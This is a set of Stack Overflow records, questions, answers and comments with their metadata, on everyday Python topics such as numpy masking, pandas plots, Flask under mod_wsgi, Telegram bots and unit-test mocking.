has text: Thanks for this. I have marked as accepted because I will at least one solution working. Regarding sub-topic have you noted that I propose default='none' rather than default=None? To me setting none as a string avoid the situation of orphan you mentioned earlier. I will test with conttentype as well as ForeignKey(Self) which I don't understand for now. At least I have something to work on so thanks again

http://stackoverflow.com/comment/80961488
type: QuestionComment
score: 0
has text: You need to give `arr` a type. `cdef int* arr` should do the trick.
comment on: http://stackoverflow.com/q/47005382
type: Comment

http://stackoverflow.com/comment/81072633
comment on: http://stackoverflow.com/q/47062262
type: QuestionComment
score: 0
has text: Thank you. I am a python newbie and am not sure how to do that. Can you offer an example?
type: Comment

http://stackoverflow.com/q/46948821
score: 1
answer count: 1
favorite count: 0
type: Question
tagged with: numpy
accepted answer: http://stackoverflow.com/a/46948974
upvote count: 2
tagged with: culling
tagged with: arrays
tagged with: python
has body: I want to remove the locations of bad pixels in my coordinate- and disparity-arrays. Therefore I wrote some code but it feels a bit circuitous and a little too long for the task. The main idea behind the code is that I want all array entries removed that contain a disparity value of -17. The same should happen for my pixel coordinate arrays of my 2000x2000 image. Here is my code using a mask and flattened arrays. ( in the end I want 3 arrays containing x, y and the disparity value sorted in the same order not containing the entries and coordinates of the bad pixels) Thanks for any hints that improve this code! #define 2000x2000 index arrays xyIdx = np.mgrid[0:disp.shape[0],0:disp.shape[1]] xIdx = xyIdx[1] yIdx = xyIdx[0] #flatten indice-arrays and the disparity-array xIdxFlat = xIdx.flatten() yIdxFlat = yIdx.flatten() dispFlat = disp.flatten() #create mask with all values = 1 'true' mask = np.ones(dispFlat.shape, dtype='bool') #create false entrys in the mask wherever the minimum disparity or better #said a bad pixel is located for x in range(0,len(dispFlat)): if dispFlat[x] == -17: mask[x] = False #mask the arrays and remove the entries that belong to the bad pixels xCoords = np.zeros((xIdxFlat[mask].size), dtype='float64') xCoords[:] = xIdxFlat[mask] yCoords = np.zeros((yIdxFlat[mask].size), dtype='float64') yCoords[:] = yIdxFlat[mask] dispPoints = np.zeros((dispFlat[mask].size), dtype='float64') dispPoints[:] = dispFlat[mask]
tagged with: sorting
downvote count: 1
has title: Efficient masking of an np.array to cull locations of bad pixels (Python 2.7)
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46948974

http://stackoverflow.com/comment/137226837
type: AnswerComment
comment on: http://stackoverflow.com/a/60579926
score: 0
has text: Google polylines are delta encoded, so you can't simply remove pairs to shorten the line. You have to decode, edit, and then encode again.
type: Comment

http://stackoverflow.com/q/46965069
tagged with: pandas
has title: Adding a legend to a Pandas DataFrame boxplot
has answer: http://stackoverflow.com/a/46965264
answer count: 1
downvote count: 0
favorite count: 0
type: AnsweredQuestion
has body: I am plotting a series of boxplots on the same axes and want to adda legend to identify them. Very simplified, my script looks like this: import pandas as pd import matplotlib.pyplot as plt import numpy as np df={} bp={} positions = [1,2,3,4] df[0]= pd.DataFrame (np.random.rand(4,4),columns =['A','B','C','D']) df[1]= pd.DataFrame (np.random.rand(4,4),columns =['A','B','C','D']) colour=['red','blue'] fig, ax = plt.subplots() for i in [0,1]: bp[i] = df[i].plot.box(ax=ax, positions = positions, color={'whiskers': colour[i], 'caps': colour[i], 'medians': colour[i], 'boxes': colour[i]} ) plt.legend([bp[i] for i in [0,1]], ['first plot', 'second plot']) fig.show() The plot is fine, but the legend is not drawn and I get this warning UserWarning: Legend does not support &lt;matplotlib.axes._subplots.AxesSubplot object at 0x000000000A7830F0&gt; instances. A proxy artist may be used instead. (I have had this warning before when adding a legend to a scatter plot, but the legend was still drawn, so i could ignore it. ) Here is a link to a description of proxy artists, but it is not clear how to apply this to my script. Any suggestions?
upvote count: 5
tagged with: matplotlib
accepted answer: http://stackoverflow.com/a/46965264
tagged with: boxplot
tagged with: legend
tagged with: python
type: Question
score: 5

http://stackoverflow.com/comment/80871004
comment on: http://stackoverflow.com/q/46961600
has text: @RamanaViswanadha You can use a generator expression for this. Generate the matches lazily without having all of them at one time in memory.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80902275
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46977384
has text: The answer is related to [this question](https://stackoverflow.com/questions/46975135/json-wrong-loop-output-in-python).

http://stackoverflow.com/a/46921118
downvote count: 0
score: 2
answers question: http://stackoverflow.com/q/46921085
type: Answer
has body: '10-24-2017 10:09:18.218 - my_test - INFO - My Automation version 0.0.1'.split(' - ')
upvote count: 2

http://stackoverflow.com/comment/80870447
type: Comment
comment on: http://stackoverflow.com/q/46961431
type: QuestionComment
has text: Then try [ru.SO].
score: 0

http://stackoverflow.com/comment/80931193
score: 0
has text: @hashicode no worries... and that's why I wrote you a list of items you should learn to be able to solve your specific problem. Learn those and you will think of this very differently.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46992274

http://stackoverflow.com/comment/116170322
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/55953711
type: Comment
has text: how does `pycopula` compare to `copulae` in terms of quality for multi-dimensional copulas? The `copulae` documentation examples don't show any plotting capability whatsoever. https://github.com/blent-ai/pycopula

http://stackoverflow.com/a/47000747
type: Answer
upvote count: 3
downvote count: 0
has body: Yes, an easy fix is to use string concatenation + over tuples ,: def rotation_type(bst, ptr='dummy'): if ptr == 'dummy': ptr = bst.root if ptr.left != None or ptr.right != None: if ptr.left != None: return 'l' + rotation_type(bst,ptr.left) else: return 'r' + rotation_type(bst,ptr.right) return '' You also have to return the empty string if nothing is returned (last line), since otherwise we will concatenate a string with a None-type, which will error. I would also advice to use None over dummy, since this is usually the placeholder, instead there are really good reasons not to: def rotation_type(bst, ptr=None): if ptr is None: ptr = bst.root if ptr.left != None or ptr.right != None: if ptr.left != None: return 'l' + rotation_type(bst,ptr.left) else: return 'r' + rotation_type(bst,ptr.right) return '' You can still improve the code, but I leave this as an exercise.
score: 3
has comment: http://stackoverflow.com/comment/80948185
answers question: http://stackoverflow.com/q/47000720

http://stackoverflow.com/a/47032880
answers question: http://stackoverflow.com/q/47032323
score: 1
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81013314
upvote count: 1
has comment: http://stackoverflow.com/comment/81013472
type: Answer
accepted answer of: http://stackoverflow.com/q/47032323
has body: If you try to install without specifying the file extension (i,e : pip install gmpy2-2.0.8-cp36-cp36m-win_amd64) it won't work cause it will try to download the package from pypi repository: C:\Users\bobolafrite\Downloads&gt;pip install gmpy2-2.0.8-cp36-cp36m-win_amd64 Collecting gmpy2-2.0.8-cp36-cp36m-win_amd64 Could not find a version that satisfies the requirement gmpy2-2.0.8-cp36-cp36m-win_amd64 (from versions: ) No matching distribution found for gmpy2-2.0.8-cp36-cp36m-win_amd64 But if you try with the extension (i,e : pip install gmpy2-2.0.8-cp36-cp36m-win_amd64.whl) C:\Users\bobolafrite\Downloads&gt;pip install gmpy2-2.0.8-cp36-cp36m-win_amd64.whl Processing c:\users\bobolafrite\downloads\gmpy2-2.0.8-cp36-cp36m-win_amd64.whl Installing collected packages: gmpy2 Successfully installed gmpy2-2.0.8
has comment: http://stackoverflow.com/comment/100604961

http://stackoverflow.com/comment/81078046
score: 1
type: Comment
has text: I find xlrd has a better API. I trust it to [preserve data types](https://stackoverflow.com/questions/13637888/openpyxl-please-do-not-assume-text-as-a-number-when-importing) more than I trust OpenPyXL. xlrd reads both .xls and .xlsx. xlrd doesn't have any other dependencies (last time I looked, OpenPyXL does).
comment on: http://stackoverflow.com/a/47018648
type: AnswerComment

http://stackoverflow.com/comment/80823726
comment on: http://stackoverflow.com/q/46938085
type: QuestionComment
has text: @Bharathshetty here you go!
score: 0
type: Comment

http://stackoverflow.com/comment/99351114
type: QuestionComment
has text: @ch4rl1e97 no I never solved this or found an alternative
comment on: http://stackoverflow.com/q/46960665
score: 0
type: Comment

stub
tags question: http://stackoverflow.com/q/46980835
tag name: stub
type: Tag

http://stackoverflow.com/comment/80942345
has text: Yes, but select is better, if more conditions - more readable ;)
comment on: http://stackoverflow.com/a/46997907
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80960444
has text: Alright well nonetheless another example is 1.0.0.0 goes to 1000000000 (only 10 chars)
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47006847
score: 0

http://stackoverflow.com/comment/80857665
comment on: http://stackoverflow.com/a/46955199
has text: I want the POST handler to receive JSON in the body of the HTTP request. Is `request.POST` not the correct way to do this?
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/46966969
tagged with: python
has answer: http://stackoverflow.com/a/46966990
has title: What does [...] in python mean, when I combine a class of data and assign to a list?
type: Question
linked to: http://stackoverflow.com/q/17160162
has body: Example PatientDir = [] class Patient_Data(object): def __init__(self,first_name,last_name,SSN,more,PatientDir): self.fn = first_name self.ln = last_name self.ssn = SSN self.more = more self.pd = PatientDir print("Patient Created with credentials: ",self.fn,",",self.ln) def update(self): PatientDir.append(self.pd) def getit(self): print("First Name: ",self.fn) print("Last NameL ",self.ln) print("SSN: ",self.ssn) print("more fields:,",self.more) patient00000005 = Patient_Data("Julie","Roberton",123121234, "More fields will be here",PatientDir) patient00000048 = Patient_Data("Andrew","Johnson",987989876, "More fields will be here",PatientDir) Now I was curious if I could save the two patients, in a list, then i wanted to see a dictionary just to see how it works. I want to see if I could access the data through the list or dictionary, when I assigned them to the list print(PatientDir) [[...], [...]] , when I try to print the first position, PatientDir[1] [[...], [...]] when I try to search in google I get no results. So I can't find the next step if there is a step, if you can do this? I like to try to figure things out myself but I can't find results... So what does it mean? How would I extract the information if I can? Lastly I of course would not make a program without encryption with medical data, or other sensitive data, just trying this out.
has comment: http://stackoverflow.com/comment/80881539
type: UnansweredQuestion
downvote count: 0
upvote count: 1
duplicate of: http://stackoverflow.com/q/17160162
favorite count: 0
tagged with: class
has comment: http://stackoverflow.com/comment/80881816
tagged with: list
score: 1
linked to: http://stackoverflow.com/q/772124
answer count: 1

http://stackoverflow.com/q/47062396
tagged with: server
tagged with: python
has comment: http://stackoverflow.com/comment/81073357
type: Question
has title: http proxy server only working for https sites
has answer: http://stackoverflow.com/a/47083243
type: UnansweredQuestion
answer count: 1
tagged with: http
has body: I am trying to use this code to create an HTTP proxy cache server. When I run the code it starts running and connects to the port and everything but when I try to connect from the browser, for example, it opens a port on 55555 if I type in localhost:52523/www.google.com it works fine but when I try other sites specifically HTTP, for example, localhost:52523/www.microcenter.com or just localhost:52523/google.com it will display localhost didn’t send any data. ERR_EMPTY_RESPONSE and shows an exception in the console though it creates the cache file on my computer. I would like to find out how to edit the code so that I can access any website just as I would normally do on the browser without using the proxy server. It should be able to work with www.microcenter.com import socket import sys import urllib from urlparse import urlparse Serv_Sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket.socket function creates a socket. port = Serv_Sock.getsockname()[1] # Server socket created, bound and starting to listen Serv_Sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket.socket function creates a socket. Serv_Sock.bind(('',port)) Serv_Sock.listen(5) port = Serv_Sock.getsockname()[1] # Prepare a server socket print ("starting server on port %s...,"%(port)) def caching_object(splitMessage, Cli_Sock): #this method is responsible for caching Req_Type = splitMessage[0] Req_path = splitMessage[1] Req_path = Req_path[1:] print "Request is ", Req_Type, " to URL : ", Req_path #Searching available cache if file exists url = urlparse(Req_path) file_to_use = "/" + Req_path print file_to_use try: file = open(file_to_use[5:], "r") data = file.readlines() print "File Present in Cache\n" #Proxy Server Will Send A Response Message #Cli_Sock.send("HTTP/1.0 200 OK\r\n") #Cli_Sock.send("Content-Type:text/html") #Cli_Sock.send("\r\n") #Proxy Server Will Send Data for i in range(0, len(data)): print (data[i]) Cli_Sock.send(data[i]) print "Reading file from cache\n" exc…
tagged with: proxy
score: 0

http://stackoverflow.com/comment/80789625
type: Comment
type: QuestionComment
has text: Thanks @Throwback1986 for the reply. The output y was obtained via ifft where a particular frequency is selected with a width of 1 bin size to filter the data. The fft resolution is responsible for the amplitude.
comment on: http://stackoverflow.com/q/46915800
score: 0

http://stackoverflow.com/comment/80995799
has text: Please show us a minimal example of `dep_tup` and `employees`. - [mcve]
score: 2
type: Comment
comment on: http://stackoverflow.com/q/47024214
type: QuestionComment

http://stackoverflow.com/comment/81035930
type: AnswerComment
comment on: http://stackoverflow.com/a/47043619
type: Comment
has text: @astro123 use `np.where(mask)`
score: 0

http://stackoverflow.com/comment/80974692
type: AnswerComment
type: Comment
has text: You won't be able to get evenly spaced ticks from 0 - 62 that include 0 and 62...
comment on: http://stackoverflow.com/a/47012412
score: 0

http://stackoverflow.com/q/47005393
answer count: 3
has body: I have a weird problem with uploading a file to telegram via the sendDocument method. I am writing a bot in python with python-telegram-bot. I try to send a ZIP file to a user, giving a URL as document. This is the URL: http://telegram.someurl.tdl/32487352.zip bot.send_document( chat_id, document=document, filename=filename, timeout=60) As much as I know my file follows the rules given by Telegram: http://telegram.someurl.tdl/32487352.zip Provide Telegram with an HTTP URL http://telegram.someurl.tdl/32487352.zip 20 MB max 2.14 MB correct MIME type application/zip sending by URL will currently only work for gif, pdf and zip files ZIP file These are the headers: Accept-Ranges →bytes Connection →keep-alive Content-Length →2247049 Content-Type →application/zip Date →Sun, 29 Oct 2017 21:15:36 GMT ETag →"59f5e6e6-224989" Last-Modified →Sun, 29 Oct 2017 14:34:14 GMT Server →nginx/1.10.3 (Ubuntu) The file is served by nginx (v1.10.3), with this simple configuration. server { listen 80; server_name telegram.someurl.tdl; root /path/to/download_dir; location / { try_files $uri $uri/ =404; } } Where /path/to/download_dir is replaced with the actual path of course. The error I get, as said in the title, is this one: { "ok": false, "error_code": 400, "description": "Bad Request: wrong file identifier/HTTP URL specified" } Also sending another ZIP file which I found online works: http://techslides.com/demos/samples/sample.zip I already searched for a solution and eg. this Telegram bot weird error : Bad Request: wrong file identifier/HTTP URL specified and this Why i get Wrong file identifier/HTTP URL specified error in telegram bot? do not help. I hope you guys can help me with this.
score: 1
has answer: http://stackoverflow.com/a/62666899
linked to: http://stackoverflow.com/q/42048991
tagged with: web
upvote count: 1
possible better answer: http://stackoverflow.com/a/62704079
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47012467
linked to: http://stackoverflow.com/q/42697723
accepted answer: http://stackoverflow.com/a/47012467
downvote count: 0
tagged with: python
has title: Telegram Bot - Bad Request: wrong file identifier/HTTP URL specified
has answer: http://stackoverflow.com/a/62704079
tagged with: telegram-bot
type: AnsweredQuestion

http://stackoverflow.com/a/47055846
answers question: http://stackoverflow.com/q/47055689
type: Answer
has body: Well in python exists the "self" object as you mentioned.. the self object is kinda like "this" in java but with some differences in your dictionaryParams function the paramone is acting as the self object since you did not declare it as a @staticmethod I really recommend this video to understand it better and this one
score: 0

http://stackoverflow.com/a/72079981
downvote count: 1
has comment: http://stackoverflow.com/comment/127387775
answers question: http://stackoverflow.com/q/47063224
has comment: http://stackoverflow.com/comment/127365475
type: Answer
has body: It's never too late to share a solution. Try this ... def change_img_edge(image, thickness, edge_color = (0,255,0, 200)): # Iterate thickness-times. # When image is filtered in next cycle, the detected edge moves outwards for t in range(thickness): msk = image.filter(ImageFilter.FIND_EDGES) msk_data, img_data = msk.getdata(), image.getdata() # Get image size w, h = img_data.size output = [] for y in range(0, h): for x in range(0, w): idx = x + w*y curr_pxl = (0,0,0,0) if msk_data[index][3]>0: curr_pxl = edge_color else: curr_pxl = img_data[idx] output.append(curr_pxl) img.putdata(output) return image # Example usage image = Image.open('your_image.png') image = image.convert("RGBA") image = change_img_edge(image, 5, (0,255,255, 200)) image.save('new_name.png')
score: -1
upvote count: 0

http://stackoverflow.com/comment/80933531
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/46992802
has text: It should be in C:\Python27\Lib\Site-Packages
score: 0

http://stackoverflow.com/comment/81018116
type: QuestionComment
comment on: http://stackoverflow.com/q/47035874
score: 1
has text: python manage.py sites. And after launch your command for your app.
type: Comment

http://stackoverflow.com/q/46910330
accepted answer: http://stackoverflow.com/a/46910360
favorite count: 0
type: AnsweredQuestion
has title: Python: Append to dictionary in for loop
score: 1
has body: I'm getting unexpected results when trying to populate a dict with output from the Linux fio command. with open('normal_output.txt', 'rb') as f: for line in f.readlines(): d = {} if ':' not in line: continue print("LINE: ", line) key, value = line.strip().split(':', 1) d[key] = value I expect a dictionary full of KVPs like: ('KEY: ', 'READ') ('VALUE: ', ' io=131220KB, aggrb=13890KB/s, minb=13890KB/s, maxb=13890KB/s, mint=9447msec, maxt=9447msec') ('KEY: ', 'WRITE') ('VALUE: ', ' io=130924KB, aggrb=13858KB/s, minb=13858KB/s, maxb=13858KB/s, mint=9447msec, maxt=9447msec') ('KEY: ', 'Disk stats (read/write)') ('VALUE: ', '') ('KEY: ', 'sda') ('VALUE: ', ' ios=32642/32600, merge=0/12, ticks=7472/936, in_queue=8392, util=88.18%') {'sda': ' ios=32642/32600, merge=0/12, ticks=7472/936, in_queue=8392, util=88.18%'} But instead, I'm just getting the very last KVP: {'sda': ' ios=32642/32600, merge=0/12, ticks=7472/936, in_queue=8392, util=88.18%'} I tried d[key].append(value) but that gives me: KeyError: 'fio_test'
tagged with: python
tagged with: dictionary
possible better answer: http://stackoverflow.com/a/46910378
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46910360
answer count: 2
has answer: http://stackoverflow.com/a/46910378
downvote count: 0
has comment: http://stackoverflow.com/comment/91209319
upvote count: 1

http://stackoverflow.com/comment/80881315
comment on: http://stackoverflow.com/q/46966932
has text: When you say you're typing "search.py" into the command prompt what do you mean, i.e. "python search.py"?
score: 1
type: Comment
type: QuestionComment

discord
tags question: http://stackoverflow.com/q/47022573
tag name: discord
type: Tag

http://stackoverflow.com/comment/80824677
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/46938523
score: 0
has text: This code will find the first occurrence of 'title=' in the page and then the first string delimited by double quotation marks *somewhere* after that in the page — even after one or more subsequent occurrences of 'title=' in the page. I suspect you want to find one or more instances 'title=' with a delimited string. True?

http://stackoverflow.com/comment/80812774
has text: @YvesDaoust Why "assume", if you can check the [documentation](https://docs.python.org/2/library/functions.html#print)? "_Output buffering is determined by file. Use `file.flush()` to ensure, for instance, immediate appearance on a screen._"
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46932683
type: Comment

http://stackoverflow.com/a/46995796
has body: filter was made for this df.groubpy('ORIGIN_CITY_NAME').filter( lambda d: d.UNIQUE_CARRIER.nunique() &gt;= 5 ) However, to continue along the vein you were attempting to get results from... I'd use map mask = df.groubpy('ORIGIN_CITY_NAME').UNIQUE_CARRIER.nunique() &gt;= 5 df[df.ORIGIN_CITY_NAME.map(mask)] Or transform mask = df.groupby('ORIGIN_CITY_NAME').UNIQUE_CARRIER.transform( lambda x: x.nunique() &gt;= 5 ) df[mask]
accepted answer of: http://stackoverflow.com/q/46995764
type: AcceptedAnswer
type: Answer
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/46995764

http://stackoverflow.com/q/46997493
has comment: http://stackoverflow.com/comment/80944251
tagged with: flask
has comment: http://stackoverflow.com/comment/80957283
has comment: http://stackoverflow.com/comment/80957220
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47007456
tagged with: mod-wsgi
score: 1
has answer: http://stackoverflow.com/a/47007456
answer count: 1
has body: I want to load 6GB files into memory, so that if i receive the request i don't have to load it again. So i was able to achieve this on flask server by adding simple decorator @app.before_first_request but when i integrated apache with the same app it's calling this function before each request. My code is following: route.py @app.before_first_request def initialize(): global SRC_PATH, MODEL path = SRC_PATH print("Loading Core files from {}".format(path)) MODEL = Model.load(path+utils.MODEL_EXT) print("Loaded all files in memory") @app.route("/test",methods=['POST']) def search_index(): # MyCode: return "some response" My apache configurations are: &lt;VirtualHost *&gt; WSGIDaemonProcess yourapplication user=ubuntu group=www-data WSGIScriptAlias / /xxx/app.wsgi &lt;Directory /xxx/&gt; WSGIProcessGroup yourapplication WSGIApplicationGroup %{GLOBAL} Order deny,allow Allow from all &lt;/Directory&gt; &lt;VirtualHost *&gt; and app.wsgi import sys import logging logging.basicConfig(stream=sys.stderr) sys.path.insert(0, "/xxx/") from route import app as application Now in my apache logs on every request it's loading the core files: apache.log [Sun Oct 29 06:21:14.691075 2017] [wsgi:error] [pid 22906:tid 140496053819136] Loading Core files from /xxx [Sun Oct 29 06:21:20.919143 2017] [wsgi:error] [pid 22906:tid 140496053819136] Loaded all files in memory While i want this to be loaded on or even before the first request and keep it persistent to memory permanently ?
has comment: http://stackoverflow.com/comment/80944271
tagged with: python
has comment: http://stackoverflow.com/comment/80959505
has comment: http://stackoverflow.com/comment/80950743
tagged with: caching
favorite count: 0
type: Question
has title: Apache configure with mod_wsgi calling before_first_request on each call
has comment: http://stackoverflow.com/comment/80959527
tagged with: apache
downvote count: 0
has comment: http://stackoverflow.com/comment/80957182
upvote count: 1

http://stackoverflow.com/q/47052236
score: 1
tagged with: cycle
has answer: http://stackoverflow.com/a/47070349
tagged with: twincat-ads
downvote count: 0
answer count: 1
upvote count: 1
favorite count: 0
type: Question
tagged with: twincat
tagged with: python
has title: Pyads read value on notification: when TwinCat cycle occured
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47070349
has body: I would like to read some values out of an SPS written in TwinCat 3 over ADS route with pyads. The values must be read when the cycle occured. In my Python script I get the cycle time of my SPS first. I defined a time to read (5000 ms), with the reading time and the detected cylce time (10 ms) I calculate the number of values to be read. In a while loop i want to read the defined number of values. In the code it looks something like this: plc = pyads.Connection('172.18.51.64.1.1', 851) plc.open() cycle_time = plc.read_by_name('Main.lrCycleTime', pyads.PLCTYPE_LREAL) time_to_read = 5000 #milliseconds values_to_read = int(time_to_read/cycle_time) count = 0 read_values = [] while count &lt; values_to_read: count += 1 array_PLC = plc.read_by_name('Main.arrNumbers', pyads.PLCTYPE_ARR_LREAL(2)) read_values.append(array_PLC) When I do this, I simply just poll some Values. That means every value exists multiple times and i do not read the predefined 5000 ms. Is anybody familiar with the pyads-library? Are there any possibilities to get a kind of a notification when a cycle occured? I do not want to set a timer in the python script. Just to be sure not to skip a cycle while I read.

http://stackoverflow.com/a/46941804
score: 1
type: Answer
has body: reinstall weasyprint with python -m pip install weasyprint, but first run brew install python3 cairo pango gdk-pixbuf libffi on mac osx
type: AcceptedAnswer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/46928413
accepted answer of: http://stackoverflow.com/q/46928413

http://stackoverflow.com/q/47034321
favorite count: 0
has comment: http://stackoverflow.com/comment/81017473
tagged with: command-line
type: Question
has body: I'm calling an external program (fxTsUtf8.exe) from a bat-file or from a Python-file. I run through hundreds of sos-files. The exe-file may in some cases fail due to an error in the read sos-file. To continue the exe-file requires that the enter-key is pressed. How may I force "enter" to be input in such cases? I'm running Windows 7 and Python 3.5. I have tried 2 approaches. 1) Only using a bat-file, tegnsett2utf8.bat, to call (have also tried start) C:\Fysak\fxTsUtf8.exe directly: @echo off REM For all subfolders for /D /r %%s in ("*") do ( echo Subfolder %%~nxs REM For all sosifiles for %%f in (%%s\*.sos) do ( echo File %%f call C:\Fysak\fxTsUtf8.exe %%f ) ) 2) Calling a Python-file, 2utf8.py, from tegnsett2utf8.bat to run fxTsUtf8.exe: @echo off REM For all subfolders for /D /r %%s in ("*") do ( echo Subfolder %%~nxs REM For all sosifiles for %%f in (%%s\*.sos) do ( echo File %%f python 2utf8.py %%f ) ) where 2utf8.py looks like this #!/usr/bin/env python # -*- coding: utf-8 -*- import sys # for å kunne lese variable import subprocess # for å starte et annet program fn = sys.argv[1] print('Python - filnavn er: '+fn) print('----------------------------------------') # Run fxTsUtf8 to convert to UTF-8 encoding try: subprocess.call(['C:\\Fysak\\fxTsUtf8.exe', fn]) except RunTimeError: pass Output on screen (in cmd-window) in both cases: &gt; C:\adhoc\SOSI_til_UTF8\Org\detalj\aas\aas21.sos Python - filnavn er: &gt; C:\adhoc\SOSI_til_UTF8\Org\detalj\aas\aas21.sos &gt; ---------------------------------------- &gt; &gt; fxTsUtf8 v. H1.1: Konverterer til UTF-8 tegnsett ...ORIGO-N├? mangler &gt; i filhodet. (Feil tegnsett?) Trykk [Enter] for Õ avbryte programmet: But I couldn't figure out how to get the bat-file or the py-file to continue to the next sos-file without me hitting enter.
has comment: http://stackoverflow.com/comment/81015957
downvote count: 0
accepted answer: http://stackoverflow.com/a/47035727
answer count: 1
has comment: http://stackoverflow.com/comment/81015462
tagged with: python
has comment: http://stackoverflow.com/comment/81017610
type: AnsweredQuestion
tagged with: batch-file
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/47035727
has title: "Press" enter "automatically" while the program is running

http://stackoverflow.com/comment/80793324
score: 0
type: QuestionComment
has text: @JohnGordon Yes, always returns the 'error', even tho its clearly added.
comment on: http://stackoverflow.com/q/46923003
type: Comment

http://stackoverflow.com/a/47043577
has body: First, you should initialize username and password variables to empty strings as well as your counter. Then, you should declare your while loop with for condition, the comparison between username and logindetails['username'] password and logindetails['password']. If both are the same, you're getting outside the loop, if not, you have to ask again for user inputs and increment the counter. In other words : username = "" password = "" counter = 0 WHILE username != logindetails['username'] AND password != logindetails['password']: ASK for user inputs / DISPLAY error messages INCREMENT counter DISPLAY "logged after counter attempts" Does it answer your questions ?
score: 0
has comment: http://stackoverflow.com/comment/81070828
answers question: http://stackoverflow.com/q/47043427
type: Answer

http://stackoverflow.com/a/76512059
type: Answer
answers question: http://stackoverflow.com/q/47002725
score: 0
has body: on my ancient system i encountered the same after an attempt to do a limited and useless upgrade. after reading your question i understood what to check and found the magic combination: protorpc-0.10.0-py2.7.egg six-1.9.0-py2.7.egg yes, and even better combination will come in a true upgrade. thank you very much for the question and the answers alike.

http://stackoverflow.com/q/46912552
has answer: http://stackoverflow.com/a/46912832
tagged with: python-2.7
score: 0
has title: Python Mock Function and Import Mock
answer count: 2
has answer: http://stackoverflow.com/a/46913966
has body: In my test files, I would like to mock a helper function that I have contained within a module. I am able to 'successfully' (ie no compile or run time errors as everything is linked properly) mock the function, but the mock does not trickle through to the class I am testing. I have looked into dependency injection, but I am not exactly sure how to inject my module which only has one function mocked for now. Eventually I plan on mocking almost all of the functions; I just want to get a baseline working first. Here is what I have so far class FooTestCase(unittest.TestCase): @mock.patch('modules.MyHelperModule.helper_function') def test_simple(self, mock_hf): my_obj = MyObj() # internally, this class imports HelperModule # and the method calls helper_function with 1 my_obj.do_something() mock_hf.helper_function.assert_called_with(1) return The assert command is failing and reporting that the method was never called. I am assuming the mock never makes it through to my_obj. I understand that I could create a flag in the init method of MyObj like testing=False and import modules accordingly, but how could I import the module that was mocked only in the test files? This is the approach I am thinking about right now, but I am open to other implementations that get me the same result. In response to Daniel Roseman's comment, In MyOBJ, I have the following line from modules.HelperModule import helper_function However, I am getting the error ImportError: No module named modules My patch line now looks like @mock.patch('MyObj.modules.HelperModule.helper_function') Any help is always appreciated; Thank you!
has comment: http://stackoverflow.com/comment/80772504
tagged with: unit-testing
type: Question
tagged with: mocking
tagged with: dependency-injection
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80772243
tagged with: python

http://stackoverflow.com/comment/80776087
type: AnswerComment
comment on: http://stackoverflow.com/a/46914251
type: Comment
has text: It will return the same result. The edit is below th tags in case you are looking
score: 0

http://stackoverflow.com/comment/80891527
has text: What is the OS? maybe you could try `sudo python --version' to see if the version is python3.5. actually, I think you could run command without sudo in your virtual environment.
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/46971774
type: Comment

http://stackoverflow.com/a/46976350
type: Answer
has comment: http://stackoverflow.com/comment/80900883
answers question: http://stackoverflow.com/q/46976157
score: 0
has comment: http://stackoverflow.com/comment/80902218
has comment: http://stackoverflow.com/comment/80900847
has body: As pointed out in the comments, keep a reference to the previous line: with open('in.txt') as fin, open('out.txt', 'w') as fout: prev = None for i, line in enumerate(fin): if line.strip() != 'END_POLY' and prev: fout.write(prev) prev = line if not i % 10000: print('Processing line {}'.format(i)) fout.write(line)

http://stackoverflow.com/q/46961308
has comment: http://stackoverflow.com/comment/80870264
has title: Python script won't run in bash script, but works fine in cmd prompt
score: 0
tagged with: bash
has comment: http://stackoverflow.com/comment/80914626
tagged with: cmd
type: Question
has comment: http://stackoverflow.com/comment/80914513
has body: I have a python script that I want to automate so I created a simple bash script (called mybash.sh). #!/bin/sh vars="C:\Users\Jane\Desktop\Work\variables.csv" while IFS="," read gname gid do echo "Gene Name: $gname" echo "Gene ID: $gid" python alignment.py work_file $gid &gt; C:\\Users\\Jane\\Desktop\\Work_Done\\$gname.fa done &lt; "$vars" read -rn1 It is a huge script but I always get an error saying that the last line of my alignment.py script has a NameError, so after running my bash script from windows cmd prompt as >mybash.sh I get this: Gene Name: cytb Gene ID: ENSB0010011 Traceback (most recent call last): File "alignment.py", line 99, in &lt;module&gt; for species in geneDict: NameError: name 'geneDict' is not defined The geneDict is the very last part of the python script which simply creates a fasta alignment file for a gene for all species in separate folder. When I execute the python script normally in cmd prompt, it works perfectly fine but instead of extracting the gname (gene name) and gid (gene ID) from a variables file, I was typing it manually. I didn't want to do that for 200 genes. I can't understand why it no longer finishes and says that the geneDict is no longer defined? Also, I tried making the python script run in a bash script alone as follows: #!/bin/sh python alignment.py work_file ENSB0010011 &gt; C:\\Users\\Jane\\Desktop\\Work_Done\\cytb.fa And this worked fine also, the python script did not stop working all of a sudden and my file came out. How do I make the python script execute without error, while pulling the variables from variables.csv separately so that I don't have to type it in manually? The last bit of the python script is as follows: for species in geneDict: # this is where it says geneDict is not defined print '&gt;' + species print geneDict[species]
has comment: http://stackoverflow.com/comment/80870143
type: UnansweredQuestion
answer count: 1
tagged with: python
has answer: http://stackoverflow.com/a/46961440

http://stackoverflow.com/q/46959126
downvote count: 2
has answer: http://stackoverflow.com/a/46959301
tagged with: pandas
has title: Bokeh Line Graph is not Working as Expected
